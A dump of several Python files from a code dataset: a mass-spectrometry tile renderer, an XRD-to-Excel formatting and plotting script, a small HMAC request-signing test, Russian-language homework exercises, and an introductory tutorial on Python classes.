'/data2/experiments/P3856/precursor-cuboids/{}'.format(RUN_NAME)\nCUBOIDS_FILE = '{}/exp-{}-run-{}-mz-100-1700-precursor-cuboids.pkl'.format(CUBOIDS_DIR, EXPERIMENT_NAME, RUN_NAME)\n\n# load the precursor cuboids\nprint('loading the precursor cuboid metadata')\nif os.path.isfile(CUBOIDS_FILE):\n precursor_cuboids_df = pd.read_pickle(CUBOIDS_FILE)\nelse:\n zip_files_l = glob.glob(\"{}/exp-{}-run-{}-precursor-*.zip\".format(CUBOIDS_DIR, EXPERIMENT_NAME, RUN_NAME))\n cuboid_metadata_l = []\n for zip_file in zip_files_l:\n cuboid_metadata_l.append(load_precursor_cuboid_metadata(zip_file))\n precursor_cuboids_df = pd.DataFrame(cuboid_metadata_l)\n precursor_cuboids_df.to_pickle(CUBOIDS_FILE)\nprint('loaded the metadata for {} precursor cuboids'.format(len(precursor_cuboids_df)))\n\n# add a buffer around the edges\nx_buffer = 5\ny_buffer = 5\n\n# load the font to use for labelling the overlays\nif os.path.isfile(UBUNTU_FONT_PATH):\n feature_label_font = ImageFont.truetype(UBUNTU_FONT_PATH, 10)\nelse:\n feature_label_font = ImageFont.truetype(MACOS_FONT_PATH, 10)\n\ntile_id=1\nprint('generating the tiles')\nfor group_name,group_df in pixel_intensity_df.groupby(['frame_id'], as_index=False):\n tile_rt = raw_df[(raw_df.frame_id == group_name)].iloc[0].retention_time_secs\n\n # create an intensity array\n tile_im_array = np.zeros([PIXELS_Y+1, PIXELS_X+1, 3], dtype=np.uint8) # container for the image\n for r in zip(group_df.pixel_x, group_df.pixel_y, group_df.colour):\n x = r[0]\n y = r[1]\n c = r[2]\n tile_im_array[y,x,:] = c\n\n # create an image of the intensity array\n tile = Image.fromarray(tile_im_array, 'RGB')\n enhancer_object = ImageEnhance.Brightness(tile)\n tile = enhancer_object.enhance(1.1)\n\n # get a drawing context for the bounding boxes\n draw = ImageDraw.Draw(tile)\n\n # draw the CCS markers\n ccs_marker_each = 50\n range_l = round(SCAN_MIN / ccs_marker_each) * ccs_marker_each\n range_u = round(SCAN_MAX / ccs_marker_each) * ccs_marker_each\n for marker_scan in np.arange(range_l,range_u+ccs_marker_each,ccs_marker_each):\n marker_y = pixel_y_from_scan(marker_scan)\n draw.text((10, marker_y-6), str(round(marker_scan)), font=feature_label_font, fill='lawngreen')\n draw.line((0,marker_y, 5,marker_y), fill='lawngreen', width=1)\n\n # draw the m/z markers\n mz_marker_each = 1\n range_l = round(MZ_MIN / mz_marker_each) * mz_marker_each\n range_u = round(MZ_MAX / mz_marker_each) * mz_marker_each\n for marker_mz in np.arange(range_l,range_u+mz_marker_each,mz_marker_each):\n marker_x = pixel_x_from_mz(marker_mz)\n draw.text((marker_x-10, 8), str(round(marker_mz)), font=feature_label_font, fill='lawngreen')\n draw.line((marker_x,0, marker_x,5), fill='lawngreen', width=1)\n\n # draw the tile info\n info_box_x_inset = 200\n info_box_y_inset = 24\n space_per_line = 12\n draw.rectangle(xy=[(PIXELS_X-info_box_x_inset, info_box_y_inset), (PIXELS_X, 3*space_per_line)], fill=(20,20,20), outline=None)\n draw.text((PIXELS_X-info_box_x_inset, (0*space_per_line)+info_box_y_inset), 'PASEF-seeded', font=feature_label_font, fill='lawngreen')\n draw.text((PIXELS_X-info_box_x_inset, (1*space_per_line)+info_box_y_inset), '{}'.format(RUN_NAME), font=feature_label_font, fill='lawngreen')\n draw.text((PIXELS_X-info_box_x_inset, (2*space_per_line)+info_box_y_inset), '{} secs'.format(round(tile_rt,1)), font=feature_label_font, fill='lawngreen')\n\n # find the intersecting precursor cuboids for this tile; can be partial overlap in the m/z and scan dimensions\n intersecting_cuboids_df = precursor_cuboids_df[\n (precursor_cuboids_df.fe_ms1_frame_lower <= group_name) & (precursor_cuboids_df.fe_ms1_frame_upper >= group_name) & \n ((precursor_cuboids_df.window_mz_lower >= MZ_MIN) & (precursor_cuboids_df.window_mz_lower <= MZ_MAX) | \n (precursor_cuboids_df.window_mz_upper >= MZ_MIN) & (precursor_cuboids_df.window_mz_upper <= MZ_MAX)) & \n ((precursor_cuboids_df.fe_scan_lower >= SCAN_MIN) & (precursor_cuboids_df.fe_scan_lower <= SCAN_MAX) |\n (precursor_cuboids_df.fe_scan_upper >= SCAN_MIN) & (precursor_cuboids_df.fe_scan_upper <= SCAN_MAX))\n ]\n\n for idx,cuboid in intersecting_cuboids_df.iterrows():\n # get the coordinates for the bounding box\n x0 = pixel_x_from_mz(cuboid.wide_mz_lower)\n x1 = pixel_x_from_mz(cuboid.wide_mz_upper)\n y0 = pixel_y_from_scan(cuboid.wide_scan_lower)\n y1 = pixel_y_from_scan(cuboid.wide_scan_upper)\n # draw the bounding box\n draw.rectangle(xy=[(x0-x_buffer, y0-y_buffer), (x1+x_buffer, y1+y_buffer)], fill=None, outline='deepskyblue')\n\n # save the tile\n tile_file_name = '{}/tile-{}.png'.format(TILES_BASE_DIR, tile_id)\n tile.save(tile_file_name)\n tile_id += 1\n\n print('.', end='', flush=True)\n\nprint()\nprint('saved {} tiles to {}'.format(tile_id, TILES_BASE_DIR))\n","sub_path":"animations/visualise-precursor-cuboids-from-PASEF.py","file_name":"visualise-precursor-cuboids-from-PASEF.py","file_ext":"py","file_size_in_byte":8559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"167162016","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 26 16:25:06 2019\n\n@author: Donnie\n\"\"\"\n\"\"\"\nWrites formulas as strings in the pandas dataframe and formats the\nExcel workbook using xlsxwriter.\n\nCompared to XRD_Excel_Maker_alternate, this program is slightly faster because it\nuses a list comprehension to create a list of strings for the Excel formulas,\nrather than using a for loop and and assigning each value to a list of empty\nstrings. The list comprehension is ~200x faster than the method used in\nXRD_Excel_Maker_alternate, although the time is still small compared to\nthe time it takes for the program to create the Excel sheet, so the time \nimprovement is rather small.\n\nThe list comprehension being in the function apply_offset rather than just assigning\nto a value was done to help readability, it has negligible effect on the \ncomputation time.\n\"\"\"\n\nimport numpy as np\nimport sympy as sp\nsp.init_session(quiet=True)\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import AutoMinorLocator\nimport pandas as pd\nimport itertools\nimport string\nfrom scipy.interpolate import UnivariateSpline\nfrom file_organizer import file_finder_gui, file_mover, file_finder\nfrom XRD_companion import reference_extractor\n\ndef apply_offset(input_series, offset, column_letter):\n \"\"\" Writes the string for the Excel formula to apply an offset to a data series.\n \n Parameters\n ----------\n input_series : pandas series object containing the y values\n offset : value added to offset data series\n column_letter : Excel column letter (A, B, AB, etc.) of the y-values of the data\n \"\"\"\n return [f'={column_letter}{i+3} + {offset}' for i in range(len(input_series))]\n\ndef generateXRD(input_list, sample_names, sheet_name=None, plot_excel=False, \n plot_python=False, phases=None, phase_dict=None, offset=None,\n reset_sheet_num=False):\n \"\"\" Creates an Excel file from csv files\n \n ***Only set reset_sheet_num to True if beginning a new Excel workbook,\n otherwise it may cause data to be overwritten.\n \n \"\"\"\n \n #Defaults the Excel sheet name to 'Sheet sheet_number' if not named, and iterates\n if (reset_sheet_num) or ('sheet_number' not in globals()):\n global sheet_number\n sheet_number = 1\n \n sheet_name = sheet_name if sheet_name is not None else f'Sheet {sheet_number}'\n sheet_number += 1\n \n offset = offset if offset is not None else [1000*i for i in range(len(input_list))]\n phases = phases if phases is not None else []\n phase_dict = phase_dict if phase_dict is not None else {}\n \n #create a Pandas dataframe containing all of the calculated data\n dataFrame = pd.DataFrame()\n #generator that goes from 'A' to 'ZZ' following excel's naming format\n excel_columns = itertools.chain(string.ascii_uppercase, \n (''.join(pair) for pair in \n itertools.product(string.ascii_uppercase, \n repeat=2))) \n \n #collects all of the raw data into a dataframe\n for i, datafile in enumerate(input_list):\n tempData = pd.read_csv(datafile[0], sep=None, usecols=[1, 2],\n engine='python', names=[f'x_{i}', f'y_{i}'],\n skiprows=1)\n dataFrame = pd.concat([dataFrame, tempData], axis=1)\n \n filler = [''] * (len(dataFrame) - dataFrame[f'x_{i}'].count())\n col_names = [next(excel_columns) for i in range(3)]\n \n #writes the formula string to apply offset to intensity\n offset_y = apply_offset(dataFrame[f'y_{i}'], offset[i], col_names[1])\n dataFrame[f'offset y_{i}'] = [*offset_y, *filler]\n \n #\\u00B0 and \\u03B8 are unicode for the degree sign and theta, respectively\n subheaderNames = ['2\\u03B8 (\\u00B0)', 'Intensity, I (Counts)',\n 'I + offset (a.u.)'] \n\n dataFrame.to_excel(writer, sheet_name=sheet_name, index=False, startrow=2, header=False)\n worksheet = writer.sheets[sheet_name]\n \n #Modifies the formatting to look good in Excel\n for i in range(len(input_list)):\n if i % 2 == 0:\n worksheet.merge_range(0, i*3, 0, i*3+2, sample_names[i], even_header_format)\n worksheet.write(1, i*3, subheaderNames[0], even_subheader_format)\n worksheet.write(1, i*3+1, subheaderNames[1], even_subheader_format)\n worksheet.write(1, i*3+2, subheaderNames[2], even_subheader_format)\n worksheet.set_column(i*3, i*3+2, 10, even_colnum_format)\n else:\n worksheet.merge_range(0, i*3, 0, i*3+2, sample_names[i], odd_header_format)\n worksheet.write(1, i*3, subheaderNames[0], odd_subheader_format)\n worksheet.write(1, i*3+1, subheaderNames[1], odd_subheader_format)\n worksheet.write(1, i*3+2, subheaderNames[2], odd_subheader_format)\n worksheet.set_column(i*3, i*3+2, 10, odd_colnum_format) \n \n #changes row height in Excel \n worksheet.set_row(0, 18)\n worksheet.set_row(1, 30)\n \n if plot_excel:\n chart = workbook.add_chart({'type': 'scatter',\n 'subtype':'straight'})\n for i in range(len(input_list)):\n chart.add_series({\n 'name': [sheet_name, 0, i*3],\n 'categories':[sheet_name, 2, i*3, dataFrame[f'x_{i}'].count() + 1, i*3],\n 'values':[sheet_name, 2, i*3 + 2, dataFrame[f'x_{i}'].count() + 1, i*3 + 2],\n 'line': {'width':2}\n })\n chart.set_x_axis({'name':'2\\u03B8 (\\u00B0)'})\n chart.set_y_axis({'name':'Intensity (a.u.)'})\n worksheet.insert_chart('D8', chart)\n \n if plot_python:\n \"\"\"\n Could do more intricate plotting using the xrd_plotter program, but\n some changes would need to be made:\n 1) Need to be able to get the current figure from the output of the\n function used in xrd_plotter because the figure will need to\n be further edited or saved in this program.\n 2) Need to either input just the last set of data to be plotted with markers so\n that markers are only on the upper plot, or else need to put markers\n on each dataset separately; this decision depends on the data.\n For now, having a simple plot here is enough.\n \"\"\"\n \n plt.figure()\n ax = plt.gca()\n for i in range(len(input_list)):\n #Calculates the actual value for y+offset\n dataFrame[f'offset y_{i}'] = dataFrame[f'y_{i}'] + offset[i]\n plt.plot(dataFrame[f'x_{i}'], dataFrame[f'offset y_{i}'])\n #Fits a spline to the each sample in order to get y position for\n #labelling each line\n spline = UnivariateSpline(dataFrame[f'x_{i}'], dataFrame[f'offset y_{i}'], k=1)\n plt.text(93.5, spline(90)+ 400, f'{sample_names[i]}', ha='right', va='bottom')\n \n styles = ['bo', 'rs', 'gD']\n #plt.legend(columnNames)\n plt.xlabel('2\\u03B8 (\\u00B0)')\n plt.ylabel('Intensity (a.u.)')\n ax.yaxis.set_minor_locator(AutoMinorLocator(2))\n ax.xaxis.set_minor_locator(AutoMinorLocator(2))\n ax.set_xlim(5, 95)\n ax.xaxis.set_ticks(np.arange(10, 100, 10))\n ax.set_ylim(1000, ax.get_ylim()[1]+3000)\n ax.yaxis.set_ticks(np.arange(2000, ax.get_ylim()[1]+3000, 4000))\n \n i = 0\n for phase in phases:\n if (phase_dict is not None) and (phase in phase_dict):\n for peak in phase_dict[phase]:\n #Uses the spline from the last sample to find the\n #y value to place the phase markers\n plt.plot(peak[0], 1200 + spline(peak[0]), styles[i], mec='k', mew=0.7)\n plt.plot(0.1 +0.2*i, 0.96, styles[i], mec='k', mew=0.7, transform=ax.transAxes)\n plt.text(0.125 + 0.2*i, 0.955, phase, ha='left',\n va='center', transform=ax.transAxes)\n i += 1\n plt.show()\n \n return dataFrame\n\nif __name__ == '__main__':\n \n # Makes the default serif font into Times New Roman\n plt.rcParams['font.serif'] = \"Times New Roman\"\n # Makes the default font type into serif i.e. always use Times New Roman\n plt.rcParams['font.family'] = \"serif\"\n plt.rcParams['font.size'] = 12\n plt.rcParams['mathtext.default'] = \"regular\"\n plt.rcParams['xtick.direction'] = 'in'\n plt.rcParams['ytick.direction'] = 'in'\n plt.rcParams['xtick.minor.visible']=True\n plt.rcParams['ytick.minor.visible']=True\n plt.rcParams['xtick.major.size'] = 5\n plt.rcParams['xtick.major.width'] = 0.6\n plt.rcParams['xtick.minor.size'] = 2.5\n plt.rcParams['xtick.minor.width'] = 0.6\n plt.rcParams['ytick.major.size'] = 5\n plt.rcParams['ytick.major.width'] = 0.6\n plt.rcParams['ytick.minor.size'] = 2.5\n plt.rcParams['ytick.minor.width'] = 0.6\n plt.rcParams['lines.linewidth'] = 1.2\n plt.rcParams['lines.markersize'] = 5\n plt.rcParams['axes.linewidth'] = 0.6\n plt.rcParams['legend.frameon']=False\n plt.rcParams['figure.autolayout'] = True \n \n '''\n Input Here\n '''\n \n output_folder = '../Output'\n excel_filename = 'XRD-test4.xlsx'\n searchDirectory = r\"..\\Raw Data\\XRD\"\n #new_path is where raw data files will be moved to, if move_files is True\n new_path = '../Output/XRD2'\n move_files = False\n save_excel = False\n \n #Writes the panda dataframes to excel sheets\n writer = pd.ExcelWriter(output_folder+'/'+excel_filename, engine='xlsxwriter')\n workbook = writer.book\n \n #Formatting styles for the Excel workbook\n odd_header_format = workbook.add_format({'text_wrap': True, 'text_v_align': 2,\n 'text_h_align': 2, 'bold':True,\n 'bg_color':'DBEDFF', 'font_size':12})\n even_header_format = workbook.add_format({'text_wrap': True, 'text_v_align': 2,\n 'text_h_align': 2, 'bold':True,\n 'bg_color':'FFEAD6', 'font_size':12})\n odd_subheader_format = workbook.add_format({'text_wrap': True, 'text_v_align': 2,\n 'text_h_align': 2, 'bold':True,\n 'bottom':True, 'bg_color':'DBEDFF'})\n even_subheader_format = workbook.add_format({'text_wrap': True, 'text_v_align': 2,\n 'text_h_align': 2, 'bold':True,\n 'bottom':True, 'bg_color':'FFEAD6'})\n odd_colnum_format = workbook.add_format({'num_format': '0.0', 'bg_color':'DBEDFF'})\n even_colnum_format = workbook.add_format({'num_format': '0.0', 'bg_color':'FFEAD6'}) \n \n #Finds the raw data files\n TMTVS = file_finder_gui(file_directory=searchDirectory+r'\\TMTVS',\n keyword_1=['1100', '1300', '1400'],\n keyword_2=['100', '10TMTVS', '20TMTVS', '30TMTVS', '40TMTVS'],\n shared_keywords='PSO', \n file_type='csv', \n max_file_num=1) \n \n TMTVS = file_finder(file_directory = searchDirectory+r'\\TMTVS',\n keyword_1=['1100', '1300', '1400'],\n keyword_2=['100', '10TMTVS', '20TMTVS', '30TMTVS', '40TMTVS'],\n shared_keywords='PSO', \n skip_asking=True)\n \n POSS = file_finder(file_directory = searchDirectory+r'\\POSS',\n keyword_1=['1100', '1300', '1400'],\n keyword_2=['100', '10POSS', '20POSS', '30POSS', '40POSS'],\n shared_keywords='PSO', \n skip_asking=True)\n\n #Dictionary of phases and their peaks for plotting\n phase_dict = {'SiO$_2$': reference_extractor(r\"..\\Raw Data\\XRD\\SiO2-2.txt\",\n minimumI=90),\n 'SiC': reference_extractor(r\"..\\Raw Data\\XRD\\SiC.txt\",\n minimumI=20), \n 'C': reference_extractor(r\"..\\Raw Data\\XRD\\C.txt\",\n minimumI=13), \n 'TiO$_2$-r': reference_extractor(r\"..\\Raw Data\\XRD\\TiO2 Rutile Tetragonal.txt\",\n minimumI=14), \n 'TiO$_2$-a': reference_extractor(r\"..\\Raw Data\\XRD\\TiO2 Anatase Tetragonal.txt\",\n minimumI=1),\n 'TiO': reference_extractor(r\"..\\Raw Data\\XRD\\TiO.txt\",\n minimumI=40),\n 'TiC': reference_extractor(r\"..\\Raw Data\\XRD\\TiC.txt\",\n minimumI=40),\n 'Ti\\u2084O\\u2087': reference_extractor(r\"..\\Raw Data\\XRD\\Ti4O7.txt\",\n minimumI=60),\n 'Ti$_3$O$_5$': reference_extractor(r\"..\\Raw Data\\XRD\\Ti3O5.txt\",\n minimumI=50),\n 'Ti\\u2082O\\u2083': reference_extractor(r\"..\\Raw Data\\XRD\\Ti2O3.txt\",\n minimumI=35)}\n\n \"\"\"\n #Could also manually create a simple phase dictionary like below\n phase_dict = {'SiO$_2$': [[22, ['1','0','1']]], \n 'C': [[26, ['0','0','2']], [44,['1','0','1']]],\n 'SiC': [[35.6, ['1','1','1']], [60,['2','2','0']],\n [72,['3','1','1']]]}\n \"\"\"\n\n generateXRD(input_list=TMTVS[0],\n sample_names=['PSO', '10T', '20T', '30T', '40T'],\n sheet_name='TMTVS-1100\\u00B0C', \n plot_excel=True,\n plot_python=True,\n phases=['SiO$_2$', 'C'],\n offset=[0, 3000, 6000, 9000, 12000],\n phase_dict=phase_dict) \n generateXRD(TMTVS[1],\n ['PSO', '10T', '20T', '30T', '40T'],\n 'TMTVS-1300\\u00B0C', True, True,\n ['SiO$_2$', 'C', 'SiC'],\n phase_dict,\n [0, 3000, 8000, 11000, 14000]) \n generateXRD(TMTVS[2],\n ['PSO', '10T', '20T', '30T', '40T'],\n 'TMTVS-1400\\u00B0C', True, True,\n phases = ['SiO$_2$', 'C', 'SiC'],\n offset = [0, 4000, 7000, 13000, 16500],\n phase_dict=phase_dict) \n generateXRD(POSS[0],\n ['PSO', '10P', '20P', '30P', '40P'],\n 'POSS-1100\\u00B0C', True, True,\n phases = ['SiO$_2$', 'C'],\n offset = [0, 3000, 6000, 9000, 13000],\n phase_dict=phase_dict)\n generateXRD(POSS[1],\n ['PSO', '10P', '20P', '30P', '40P'],\n 'POSS-1300\\u00B0C', True, True,\n phases = ['SiO$_2$', 'C', 'SiC'],\n offset = [0, 5000, 8000, 11000, 14000],\n phase_dict=phase_dict)\n #can get the output data from the raw data by setting some \n #variable (dataframe_6 in this case) equal to the function\n dataframe_6 = generateXRD(POSS[2],\n ['PSO', '10P', '20P', '30P', '40P'],\n 'POSS-1400\\u00B0C', True, True,\n phases = ['SiO$_2$', 'C', 'SiC'],\n offset = [0, 4000, 6000, 9000, 16000],\n phase_dict=phase_dict)\n \n if move_files:\n #Copies the raw data files and moves the copies to the designated folder\n file_mover(TMTVS[0], new_path+'/TMTVS/1100') \n file_mover(TMTVS[1], new_path+'/TMTVS/1300')\n file_mover(TMTVS[2], new_path+'/TMTVS/1400')\n file_mover(POSS[0], new_path+'/POSS/1100') \n file_mover(POSS[1], new_path+'/POSS/1300')\n file_mover(POSS[2], new_path+'/POSS/1400')\n \n if save_excel:\n #Saves the Excel workbook\n writer.save()\n print('Saved excel file.')","sub_path":"XRD/XRD_Excel_Maker.py","file_name":"XRD_Excel_Maker.py","file_ext":"py","file_size_in_byte":16275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"167304174","text":"import hashlib\nimport hmac\nimport requests\nfrom requests.auth import AuthBase\nimport time\n\n\nclass HMACAuth(AuthBase):\n\n def __call__(self, request):\n timestamp = str(int(time.time()))\n message = timestamp + request.method + request.path_url + (request.body or '')\n secret = \"TEST\"\n\n if not isinstance(message, bytes):\n message = message.encode()\n if not isinstance(secret, bytes):\n secret = secret.encode()\n\n signature = hmac.new(secret, message, hashlib.sha256).hexdigest()\n request.headers.update({\n 'CB-VERSION': \"\",\n 'CB-ACCESS-KEY': \"\",\n u'CB-ACCESS-SIGN': signature,\n 'CB-ACCESS-TIMESTAMP': timestamp,\n })\n return request\n\nsession = requests.session()\nsession.auth = HMACAuth()\nsession.headers.update({'Accept': 'application/json',\n 'Content-Type': 'application/json',\n 'User-Agent': 'coinbase/python/2.0'})\na = session.get(\"https://www.google.com\")\n","sub_path":"testers/test_pyopenssl.py","file_name":"test_pyopenssl.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"11309091","text":"\"\"\"\nTask #1. Пользователь вводит строку. Преобразовать ее в tuple состоящий из слов.\n\"\"\"\n\n\ndef tuple_formation():\n user_input = input('Введите свой набор слов: ')\n tuple_collection = tuple(user_input.strip().split(' '))\n print('Коллекция из слов будет следующей: ', ', '.join(tuple_collection))\n\n\ntuple_formation()\n\n\"\"\"\nTask #2. Написать функцию, принимающую два аргумента. Если оба аргумента являются числами - вернуть их произведение,\n если строками - собрать в одну строку и вернуть, если первый строка, а второй нет - вернуть словарь, в котором\n ключ - первый аргумент, значение - второй.\n\"\"\"\n\n\ndef digit_or_string(arg1, arg2):\n if all([\n (isinstance(arg1, float) or isinstance(arg1, int)),\n (isinstance(arg2, float) or isinstance(arg2, int))\n ]):\n multiplication = arg1 * arg2\n return multiplication\n elif isinstance(arg1, str) and isinstance(arg2, str):\n str_concatenation = f'{arg1} {arg2}'\n return str_concatenation\n elif type(arg1) == str and type(arg2) != str:\n dict_res = {arg1: arg2}\n return dict_res\n\n\ntask2_result = digit_or_string(10, 2.5)\nprint(f'The result of task 2 is next: {task2_result}')\n\n\n\"\"\"\nTask #3. Дан словарь продавцов и цен на iphone xs max 256gb у разных продавцов на hotline: { ‘citrus’: 47.999,\n‘istudio’ 42.999, ‘moyo’: 49.999, ‘royal-service’: 37.245, ‘buy.ua’: 38.324, ‘g-store’: 37.166, ‘ipartner’: 38.988,\n‘sota’: 37.720 }, написать функцию возвращающую список имен продавцов, чьи цены попадают в диапазон\n(from_price, to_price).\n\"\"\"\n\n\ndef float_to_integer(dict_for_work):\n \"\"\"\n :param dict_for_work: dict with float values\n :return: dict with integers\n \"\"\"\n for key, value in dict_for_work.items():\n if type(value) == float:\n float_removed = str(value).replace('.', '')\n while len(float_removed) < 5:\n float_removed = float_removed + '0'\n float_removed = int(float_removed)\n dict_for_work[key] = float_removed\n return dict_for_work\n\n\ndef price_sort(from_price, to_price, **kwargs):\n \"\"\"\n :param from_price: starting price (int)\n :param to_price: ending price (int)\n :param kwargs: dict (seller(str): price(int))\n :return: sorted sellers (list); pretty output of sellers and prices (str)\n \"\"\"\n res_sellers = []\n price_range = {0: from_price, 1: to_price}\n kwargs_copy = kwargs.copy()\n print(f'The best choice for you in your range will be next sellers:')\n price_range = float_to_integer(price_range)\n kwargs_copy = float_to_integer(kwargs_copy)\n for key, value in kwargs_copy.items():\n if kwargs_copy[key] in range(price_range[0], price_range[1]):\n print(f'Seller {key} with price {kwargs[key]}')\n res_sellers.append(key)\n return res_sellers\n\n\nhotline_sellers = {'citrus': 47.999, 'istudio': 42.999, 'moyo': 49.999, 'royal-service': 37.245, 'buy.ua': 38.324,\n 'g-store': 37.166, 'ipartner': 38.988, 'sota': 37.720}\nfrom_price = 35.000\nto_price = 40.000\n\nlist_of_sellers = price_sort(from_price, to_price, **hotline_sellers)\n\n\"\"\"\nTask #4. *Реализовать в виде функции ДЗ№3-3 ( Попросить переспрашивать, пока не введет Y или N.) Получение ответа на\nвопрос Y/N? реализовать отдельной функцией и встроить в основную.пользователя ввести с клавиатуры строку и вывести ее\nна экран. Спросить у пользователя, хочет ли он повторить операцию (Y/N)?. Повторять операцию если (Y), завершить\nвыполнение если (N), если ответ не Y или N -переспрашивать, пока не введет Y или N.)\n\"\"\"\n\n\ndef cycle_check():\n \"\"\"\n :return: False if the answer to the continuation is negative, True for positive answer\n \"\"\"\n var_cycle_check = input('Continue? Y/N: ').upper()\n while True:\n if var_cycle_check == 'Y':\n return True\n elif var_cycle_check == 'N':\n return False\n var_cycle_check = input('We missed your input. Continue? Y/N: ').upper()\n\n\nmain_check = True\nwhile main_check:\n user_input = input('Input your words: ')\n print(f'Your input is: {user_input}')\n main_check = cycle_check()\n\n\"\"\"\nTask #5. Пользователь вводит строку произвольной длины. Функция должна вернуть словарь следующего содержания:\n{\"0\": количество пробелов в строке\n\"1\": list слов из одной буквы\n\"2\": list слов из двух букв\n\"3\": list слов из трех букв\n\"punctuation\" : list уникальных знаков препинания}\n\"\"\"\n\n\ndef string_sorting(input_data):\n \"\"\"\n :param input_data: str\n :return: dict according to Task 5\n \"\"\"\n res_dict = {} # Итоговый словарь\n unique_marks = [] # Список для отбора уникальных (1 вхождение) элементов пунктуации\n repeatable_marks = [] # Вспомогательный список отбора пунктуации, 2+ вхождений\n raw_string = [] # Список для элементов строки без знаков пунктуации\n punctuation_marks = ['.', '?', '!', ',', '-', ':', ';', '«', '»', '(', ')'] # Непосредственно знаки пунктуации\n spaces_check = input_data.strip().split(' ') # Для правильного кол-ва пробелов при вводах по примеру \"d f !!! .\"\n number_of_spaces = len(spaces_check) - 1\n if spaces_check: # Находим значение для первого ключа функции, сразу же можем записать в словарь\n res_dict['0'] = number_of_spaces\n for element in input_data: # Отбор уникальных элементов пунктуации с отсевом повторов, без записи в словарь\n if element in punctuation_marks and element not in unique_marks:\n unique_marks.append(element)\n elif element in punctuation_marks and element in unique_marks:\n if element not in repeatable_marks:\n repeatable_marks.append(element)\n for element in unique_marks:\n if element in repeatable_marks:\n unique_marks.remove(element)\n for element in input_data:\n if element not in punctuation_marks:\n raw_string.append(element)\n raw_string_checked = ''.join(raw_string).strip()\n raw_list = list(raw_string_checked.split(' ')) # Принудительный list() для варианта из одного слова\n raw_list.sort(key=len) # Сортируем элементы списка, параметр сортировки: длина\n for index, item in enumerate(raw_list): # Создаём ключи для слов и пустые списки к ним\n res_dict[str(len(raw_list[index]))] = []\n for index, item in enumerate(raw_list): # Записываем в списки для значений слова по существующим ключам\n res_dict[str(len(raw_list[index]))].append(item)\n if unique_marks: # По условию последним элементом словаря идут знаки пунктуации, записываем их\n res_dict['punctuation'] = unique_marks\n print(f'Items of resulting list:')\n for value, item in res_dict.items():\n print(f'{value}: {item}')\n return res_dict\n\n\nstring_sorting(input('Input your string: '))\n","sub_path":"Class 5/Homework/Homework5v2.py","file_name":"Homework5v2.py","file_ext":"py","file_size_in_byte":8287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"278462926","text":"# Minimal Class\r\n# Attributes are created inside a class function ususally\r\nclass Robot:\r\n\tpass\r\n\t\r\nx = Robot()\r\ny = Robot()\r\n\r\n\r\n# dynamically creating attributes for existing instances of a class.\r\n# adding attributes to the instances of a class; using \".\" (dot) notation\r\n\r\nx.name ='Raj' \r\nx.build_year = '1991'\r\n\r\ny.name ='Prasuna'\r\ny.build_year = '1990' \r\n\r\n\r\nprint(x.__dict__) # __dict__ stores attributes and corresponding values\r\n\r\n\r\n# Attributes can be bound to class names as well. In this case, each instance will possess this name as well\r\n\r\nclass Robo:\r\n\tpass\r\n\t\r\na = Robo()\r\nRobo.brand = 'Kuka' # bounding attribute to class name\r\nprint(a.brand)\r\n\r\na.brand ='thales' # changing attribute value at instance level\r\nprint(a.brand)\r\nb = Robo()\r\nb.brand = 'ABC'\r\nprint(b.brand)\r\nprint(Robo.brand)\r\n\r\n\r\n\r\n\r\n# THE __init__() method...can be anywhere in the class\r\n\r\nclass Game:\r\n\t# defining init method\r\n\t'''\r\n\tdef __init__(self): # always takes self as parameter; \r\n\t\tprint('__init__ method is called')\r\n\t'''\t\r\n\t\t\r\n\t# init with other parameters\r\n\tdef __init__(self, name=None): # if nothing is passed ; name will be None\r\n\t\tself.name = name\r\n\t\r\n\t# adding other method\r\n\tdef say(self):\r\n\t\tif self.name == 'Football':\r\n\t\t\tprint(self.name,' is an awesome game')\r\n\t\telse:\r\n\t\t\tprint('No game is interesting')\r\n\t\r\n\t\r\nx = Game('Football') # football will be assigned to 'name' attribute of x\r\nprint(x.name)\r\n\r\n# calling method on x attribute\r\nx.say()\r\n\r\n'''\r\nif __name__ == \"__main__\":\r\n\tx = Robot()\r\n\ty = Robot()\r\n\ty2 = y\r\n\tprint(y2 == y)\r\n\tprint(x == y)\r\n'''\r\n\r\n'''\r\nData Abstraction = Data Encapsulation + Data Hiding.\r\nEncapsulation is often accomplished by providing two kinds of methods for attributes: The methods for retrieving or accessing the values of attributes are called getter methods. \r\nGetter methods do not change the values of attributes, they just return the values. The methods used for changing the values of attributes are called setter methods. \r\nData Encapsulation means, that we should only be able to access private attributes via getters and setters. \r\n\r\n'''\r\n\r\nclass Player:\r\n\t# init method\r\n\tdef __init__(self, name=None):\r\n\t\tself.name = name\r\n\t\r\n\tdef say_hi(self):\r\n\t\tif self.name:\r\n\t\t\tif self.name == 'Messi':\r\n\t\t\t\tprint('Welcome...Messi')\r\n\t\t\telse:\r\n\t\t\t\tprint('Welcome ulfa')\r\n\t\telse:\r\n\t\t\tprint('Hello Nameless')\r\n\t\r\n\tdef set_name(self, name):\r\n\t\tself.name = name\r\n\t\r\n\tdef get_name(self):\r\n\t\treturn self.name\r\n\t\t\r\n\r\nalpha = Player()\r\nalpha.set_name('Henry')\r\nalpha.say_hi()\r\n\r\nbeta = Player()\r\nbeta.set_name(alpha.get_name())\r\n\r\nprint(beta.name)\r\n\r\n\r\n\r\n'''\r\nstr() searches for __str__() method inside a class\r\n\r\n'''\r\nclass A:\r\n\tdef __str__(self):\r\n\t\treturn '43 time alpha'\r\n\t\r\na = A()\r\nprint(str(a))\r\n\r\n\r\n'''\r\nPrivate - only be used by owner; __name \r\nThis kind of attribute is inaccessible and invisible. It's neither possible to read nor write to those attributes, except inside of the class definition itself.\r\n\r\nProtected - should not be used only under certain circumstances; _name;\r\nProtected attributes should not be used outside of the class definition, unless inside of a subclass definition. \r\n\r\n'''\r\n\r\n\r\nclass B:\r\n\r\n\tdef __init__(self):\r\n\t\tself.__priv =\"I am private\"\r\n\t\tself._protected = 'I am protected'\r\n\t\tself.pub = 'I am public'\r\n\r\nx = B()\r\nprint(x.pub) # accessing public variable from class 